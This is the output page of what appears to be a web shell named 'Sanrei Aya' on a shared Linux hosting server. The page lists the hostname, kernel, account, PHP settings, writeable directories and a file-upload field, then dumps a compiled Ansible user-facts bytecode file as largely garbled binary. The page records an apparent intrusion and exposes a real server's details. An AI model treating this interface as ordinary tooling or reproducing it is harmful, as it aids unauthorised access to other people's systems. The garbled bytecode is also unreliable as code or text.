Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /lib/python3.9/site-packages/ansible/module_utils/facts/system/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3.9/site-packages/ansible/module_utils/facts/system/__pycache__/user.cpython-39.pyc
a

�)g��@shddlmZmZmZeZddlZddlZddlZddl	m
mmZ
ddlmZGdd�de�ZdS)�)�absolute_import�division�print_functionN)�BaseFactCollectorc@s&eZdZdZegd��Zddd�ZdS)�UserFactCollector�user)	�user_id�user_uid�user_gid�
user_gecos�user_dir�
user_shell�real_user_id�effective_user_idZeffective_group_idsNcCs�i}t��|d<zt�t���}Wn tyBt�t���}Yn0|j|d<|j	|d<|j
|d<|j|d<|j|d<t��|d<t�
�|d<t��|d	<t��|d
<|S)Nrr	r
rrr
rrZ
real_group_idZeffective_group_id)�getpassZgetuser�pwd�getpwnam�KeyError�getpwuid�os�getuid�pw_uid�pw_gid�pw_gecos�pw_dir�pw_shell�geteuid�getgid)�self�moduleZcollected_factsZ
user_facts�pwent�r!�J/usr/lib/python3.9/site-packages/ansible/module_utils/facts/system/user.py�collect#s 




zUserFactCollector.collect)NN)�__name__�
__module__�__qualname__�name�setZ	_fact_idsr#r!r!r!r"rsr)Z
__future__rrr�typeZ
__metaclass__rrrZ"ansible.module_utils.compat.typingZmodule_utils�compat�typing�tZ$ansible.module_utils.facts.collectorrrr!r!r!r"�<module>s

Yohohohohohooho | Sanrei Aya